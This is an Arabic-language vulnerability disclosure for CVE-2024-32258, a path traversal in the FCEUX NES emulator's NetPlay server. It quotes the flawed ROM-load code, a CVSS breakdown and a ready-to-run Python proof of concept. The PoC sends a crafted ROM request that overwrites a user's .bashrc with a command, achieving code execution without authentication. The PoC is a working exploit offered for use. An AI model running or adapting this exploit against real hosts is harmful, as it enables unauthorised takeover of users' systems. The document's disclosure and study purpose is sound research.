
كود برهان المفهوم لثغرة CVE-2024-32258، وهي ثغرة اجتياز المسار في FCEUX NetPlay 2.7.0 تتيح إمكانية الكتابة التعسفية عن بُعد للملفات دون مصادقة عبر طلبات ROM مصممة خصيصًا.
FCEUX هو محاكي NES يمكنه أن يعيدنا إلى طفولتنا. يوفر العديد من الميزات الشيقة، مثل قدرة لاعبين على لعب الألعاب عبر الإنترنت.
يمكن للخادم والعميل تمرير ملفات ROM لبعضهما البعض، لكن الخادم لا يقوم بتصفية الأحرف الخاصة في أسماء ROM التي يرسلها العميل. يمكن أن تتسبب ثغرة تجاوز المسار هذه في إمكانية استبدال أي ملف على الخادم. والأكثر خطورة هو أن التحميل عن بُعد لملفات ROM لا يتطلب مصادقة، حتى لو كانت إعدادات الخادم تتطلب كلمة مرور لتسجيل الدخول.
تم تقديمها خلال الالتزام 798c5a1d9c73b899cdbe3d613c0022588281979f - بالنسبة لـ NetPlay، تمت إضافة القدرة للعميل على طلب تحميل ROM.
if (acceptRomLoadReq)
{
FILE *fp;
std::string filepath = QDir::tempPath().toLocal8Bit().constData();
const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];
filepath.append( "/" );
filepath.append( msg->fileName );
printf("Load ROM Request Received: %s\n", filepath.c_str());
//printf("Dumping Temp Rom to: %s\n", filepath.c_str());
fp = ::fopen( filepath.c_str(), "w");
if (fp == nullptr)
{
return;
}
::fwrite( romData, 1, msgSize, fp );
::fclose(fp);
FCEU_WRAPPER_LOCK();
LoadGame( filepath.c_str(), true, true );
FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
FCEU_WRAPPER_UNLOCK();
resyncAllClients();
}
كلا msf->fileName و fp يتم تحديدهما بواسطة المهاجم.
يمكنك الحصول على fceux من خلال تجميع الكود المصدري، أو يمكنك استخدام الثنائي المُجمَّع لدينا مباشرة. fceux.zip
PoC
import socket
import binascii
client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))
header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100
client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)
packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)
استمتع! 😄
https://github.com/liyansong2018/CVE-2024-32258/assets/25031216/2c237254-3ff8-4690-b0ea-d413f6e8c48d
عالي 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Yansong Li و Yijie Xun (جامعة نورث وسترن بوليتكنيك)
| CVSS3.1 | الدرجة | التفاصيل |
|---|
| ناقل الهجوم | شبكة | إطلاق الهجوم عبر الشبكة |
| تعقيد الهجوم | منخفض | مجرد إرسال رسالتين |
| الصلاحيات المطلوبة | لا شيء | لا تتطلب أية أذونات لإرسال حزمة الهجوم |
| تفاعل المستخدم | مطلوب | النقر على زر التأكيد لتحميل ROM. |
| النطاق | بدون تغيير | غير قابل للتطبيق |
| السرية | عالي | استبدال ملف عشوائي |
| السلامة | عالي | استبدال ملف عشوائي |
| التوفر | عالي | استبدال ملف عشوائي |